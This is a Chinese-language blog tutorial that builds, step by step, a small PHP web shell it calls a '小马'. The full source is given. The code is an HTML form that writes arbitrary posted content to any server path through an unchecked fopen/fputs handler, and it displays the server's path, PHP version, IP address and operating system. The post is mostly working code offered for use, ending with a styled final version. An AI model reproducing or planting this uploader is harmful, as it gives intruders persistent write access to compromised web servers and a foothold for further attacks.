本文最后更新于:2019 , 六月 9日 星期日, 2:31 下午
大概页面
一个是你需要保存的文件地址
一个是你提交数据的
一个提交数据的按钮
<html>
<head>
<title></title>
<meta charset="utf-8">
</head>
<body>
<form action="" method="POST">
上传路径: <input type='text' name='path' tyle="width:400px" value="<?php echo __DIR__."\\";?>" /><br>>
提交内容<br>
<textarea name='comm' rows="10" cols="54"></textarea><br>
<input type="submit" value="write">
</form>
</body>
</html>
上传功能实现
判断以path和comm命名的数据不能为空if (isset($_POST["path"]) && isset($_POST["comm"])){}
不为空写入数据
<?php
if (isset($_POST["path"]) && isset($_POST["comm"])){
$getpath = fopen($_POST["path"],"a");
if(!$getpath){
echo "写入失败!请换个目录试试!";
}else{
fputs($getpath,$_POST["comm"]);
fclose($getpath);
echo "上传: OK !";
}
}
?>
添加显示我们一般需要的数据
当前路径 __FILE__
PHP版本 PHP_VERSION
IP地址 gethostbyname($_SERVER["SERVER_NAME"])
操作系统 PHP_OS
这些数据我们用 表格显示
<?php
echo '<table border="1" width="600">';
echo '<tr bgcolor="#dddddd">';
echo '<th>当前路径</th><th>',__FILE__,'</th>';
echo '</tr>';
echo '<tr bgcolor="#dddddd">';
echo '<th>PHP版本</th><th>',PHP_VERSION,'</th>';
echo "</tr>";
echo '<tr bgcolor="#dddddd">';
echo '<th>IP地址</th><th>',gethostbyname($_SERVER["SERVER_NAME"]),'</th>';
echo "</tr>";
echo '<tr bgcolor="#dddddd">';
echo '<th>操作系统</th><th>',PHP_OS,'</th>';
echo "</tr>";
echo "</table>"
?>
到此我们非常简易的小马就写好了,接下来就是稍微美化下
毕竟美观很重要
美化
背景设置为黑<body bgcolor="#000">
字体设置为红色<form action="" method="POST" style="color:red;">
添加hr
划分<hr>
最终代码及效果图
<html>
<head>
<title>sunsky</title>
<meta charset="utf-8">
</head>
<body bgcolor="#000">
<form action="" method="POST" style="color:red;">
<?php
echo '<table border="1" width="600">';
echo '<tr bgcolor="#dddddd">';
echo '<th>当前路径</th><th>',__FILE__,'</th>';
echo '</tr>';
echo '<tr bgcolor="#dddddd">';
echo '<th>PHP版本</th><th>',PHP_VERSION,'</th>';
echo "</tr>";
echo '<tr bgcolor="#dddddd">';
echo '<th>IP地址</th><th>',gethostbyname($_SERVER["SERVER_NAME"]),'</th>';
echo "</tr>";
echo '<tr bgcolor="#dddddd">';
echo '<th>操作系统</th><th>',PHP_OS,'</th>';
echo "</tr>";
echo "</table>";?>
<hr>
上传路径:<input type='text' name='path' style="width:400px" value="<?php echo __DIR__."\\";?>" /><br>
提交数据<br>
<textarea name='comm' rows="10" cols="54"></textarea><br>
<input type="submit" value="write">
<hr>
</form>
</body>
</html>
<?php
if (isset($_POST["path"]) && isset($_POST["comm"])){
$getpath = fopen($_POST["path"],"a");
if(!$getpath){
echo "写入失败!请换个目录试试!";
}else{
fputs($getpath,$_POST["comm"]);
fclose($getpath);
echo "上传: OK !";
}
}
?>
参考链接
i春秋论坛: https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=12774&highlight=编写